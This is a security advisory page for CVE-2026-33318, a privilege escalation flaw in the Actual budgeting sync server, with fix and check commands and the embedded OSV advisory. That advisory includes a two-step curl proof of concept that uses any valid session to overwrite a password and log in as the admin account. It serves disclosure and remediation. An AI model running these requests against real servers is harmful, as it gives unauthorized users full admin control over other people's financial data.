CVE-2026-33318: @actual app/sync server Actual Has Privilege Escalation Vulnerability
HIGHCVE-2026-33318 is a HIGH (CVSS 8.8) actual has privilege escalation vulnerability (CWE-284: Improper Access Control) affecting @actual app/sync server libraries in the npm ecosystem. The issue involves actual has privilege escalation via 'change-password' endpoint on openid-migrated servers. Remediation is available by upgrading affected packages to version 26.4.0.
CVE-2026-33318 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-33318
To remediate this vulnerability, upgrade all affected @actual app/sync server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @actual-app/sync-server@26.4.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @actual-app/sync-server
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-33318, inspect your project dependencies using npm:
npm ls @actual-app/sync-server
Analyze the terminal output to locate any version of @actual app/sync server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 26.4.0), your application is affected.
Note: The npm ls @actual-app/sync-server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In @actual app/sync server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-33318 Affected @actual app/sync server Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@actual-app/sync-server
|
npm |
< 26.4.0
|
26.4.0
|
References
Frequently Asked Questions
What is CVE-2026-33318?
Which @actual app/sync server versions are affected?
What version fixes CVE-2026-33318?
Is @actual-app/sync-server affected?
What is the CVSS score of CVE-2026-33318?
What CWE is associated with CVE-2026-33318?
How can I check npm dependencies for CVE-2026-33318?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-prp4-2f49-fcgp",
"modified" : "2026-04-27T16:35:53Z",
"published" : "2026-04-23T21:23:38Z",
"aliases" : [ "CVE-2026-33318" ],
"summary" : "Actual has Privilege Escalation via 'change-password' Endpoint on OpenID-Migrated Servers",
"details" : "### Summary\n\nAny authenticated user (including `BASIC` role) can escalate to `ADMIN` on servers migrated from password authentication to OpenID Connect. Three weaknesses combine: `POST /account/change-password` has no authorization check, allowing any session to overwrite the password hash; the inactive password `auth` row is never removed on migration; and the login endpoint accepts a client-supplied `loginMethod` that bypasses the server's active auth configuration. Together these allow an attacker to set a known password and authenticate as the anonymous admin account created during the multiuser migration.\n\n---\n\n### Details\n\n**`packages/sync-server/src/app-account.js:120-132`** — the `/account/change-password` route validates only that a session exists. No admin role check is performed\n\n```js\napp.post('/change-password', (req, res) => {\n const session = validateSession(req, res); // only checks token validity\n if (!session) return;\n const { error } = changePassword(req.body.password); // no isAdmin() check\n```\n\n**`packages/sync-server/src/accounts/password.js:113-125`** — `changePassword()` updates the hash with no current-password confirmation:\n\n```js\nexport function changePassword(newPassword) {\n accountDb.mutate(\"UPDATE auth SET extra_data = ? WHERE method = 'password'\", [hashed]);\n}\n```\n\n**`packages/sync-server/src/accounts/password.js:56-62`** — `loginWithPassword()` always authenticates as the user with `user_name = ''`, which is created by the multiuser migration with `role = 'ADMIN'`:\n\n```js\nconst sessionRow = accountDb.first(\n 'SELECT * FROM sessions WHERE auth_method = ?', ['password']\n);\n```\n\n**`packages/sync-server/src/account-db.js:56-63`** — a client can force the `password` login method regardless of server configuration by sending `loginMethod` in the request body:\n\n```js\nif (req.body.loginMethod && config.get('allowedLoginMethods').includes(req.body.loginMethod)) {\n return req.body.loginMethod;\n}\n```\n\nWhen a server is migrated from password → OpenID via `enableOpenID()`, the password row is set to `active = 0` but **never deleted**, leaving it available for exploitation.\n\n---\n\n### PoC\n\n**Prerequisites:** Server originally bootstrapped with password auth, then switched to OpenID. Default `allowedLoginMethods` configuration (includes `password`). Attacker has any valid OpenID session token (any role).\n\n```bash\n# Step 1 — overwrite the password hash using a BASIC-role session\ncurl -s -X POST https://<host>/account/change-password \\\n -H \"Content-Type: application/json\" \\\n -H \"X-Actual-Token: <any_valid_session_token>\" \\\n -d '{\"password\": \"attacker123\"}'\n# → {\"status\":\"ok\",\"data\":{}}\n\n# Step 2 — log in via password method to obtain an ADMIN session\ncurl -s -X POST https://<host>/account/login \\\n -H \"Content-Type: application/json\" \\\n -d '{\"loginMethod\": \"password\", \"password\": \"attacker123\"}'\n# → {\"status\":\"ok\",\"data\":{\"token\":\"<admin_token>\"}}\n```\n\nThe returned token belongs to the `user_name = ''` admin account (created by `1719409568000-multiuser.js`).\n\nVerify admin access:\n```bash\ncurl -s https://<host>/account/validate \\\n -H \"X-Actual-Token: <admin_token>\"\n# → {\"status\":\"ok\",\"data\":{\"permission\":\"ADMIN\", ...}}\n```\n\n---\n\n### Impact\n\n**Privilege escalation** — any authenticated user can gain full `ADMIN` access on affected deployments. An ADMIN can manage all users, access all budget files regardless of ownership, modify file access controls, and change server configuration.\n\nAffected deployments: multi-user servers running OpenID Connect that were previously configured with password authentication. Servers bootstrapped exclusively with OpenID from initial setup are not affected (no password row exists in the `auth` table).\n\n---\n\n### Recommendations\n\n**1. Restrict `POST /account/change-password` to password-authenticated sessions only**\n(`packages/sync-server/src/app-account.js`)\n\nThe endpoint should reject requests from sessions that were authenticated via OpenID. The active auth method can be checked against the session's `auth_method` field or by querying the `auth` table for the currently active method. If the server is running in OpenID mode, this endpoint should return `403 Forbidden`.\n\n**2. Require current-password confirmation before accepting a new password**\n(`packages/sync-server/src/accounts/password.js`)\n\n`changePassword()` should accept the current password as a parameter and verify it against the stored hash before applying the update. This prevents any session (even a legitimate password session) from silently overwriting the credential without proving possession of the existing one.\n\n**3. Enforce `active` status and remove client control over login method selection**\n(`packages/sync-server/src/account-db.js` — `getLoginMethod()`)\n\nTwo issues exist in `getLoginMethod()`: (a) a client can supply `loginMethod` in the request body to select any method listed in `allowedLoginMethods`, regardless of whether it is currently active on the server; (b) the function does not check the `active` column, so an administratively disabled method (e.g. `password` after migrating to OpenID) remains accessible. The fix is to determine the permitted method server-side from `WHERE active = 1` in the `auth` table and ignore any client-supplied `loginMethod` override entirely. Servers intentionally running both methods simultaneously can be supported by allowing multiple `active = 1` rows rather than relying on client input.\n\n**4. Immediate mitigation for existing deployments (OpenID-only servers)**\n\nAdministrators who have fully migrated to OpenID and do not need password auth can remove the orphaned row:\n\n```sql\nDELETE FROM auth WHERE method = 'password';\n```\n\n####\n\nThe three weaknesses form a single, sequential exploit chain — none produces privilege escalation on its own:\n\nMissing authorization on POST /change-password — allows overwriting a password hash, but only matters if there is an orphaned row to target.\nOrphaned password row persisting after migration — provides the target row, but is harmless without the ability to authenticate using it.\nClient-controlled loginMethod: \"password\" — allows forcing password-based auth, but is useless without a known hash established by step 1.\n\nAll three must be chained in sequence to achieve the impact. No single weakness independently results in privilege escalation, which under CVE CNA rule 4.1.2 means they should not each be treated as standalone vulnerabilities.\nThe single root cause is the missing authorization check on /change-password; the other two are preconditions that make it exploitable. A single CVE reflecting that root cause is the appropriate representation — splitting them would falsely imply each carries independent risk.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@actual-app/sync-server"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "26.4.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/actualbudget/actual/security/advisories/GHSA-prp4-2f49-fcgp"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33318"
}, {
"type" : "WEB",
"url" : "https://actualbudget.org/blog/release-26.4.0"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/actualbudget/actual"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-284", "CWE-862" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-23T21:23:38Z",
"nvd_published_at" : "2026-04-24T03:16:11Z"
}
}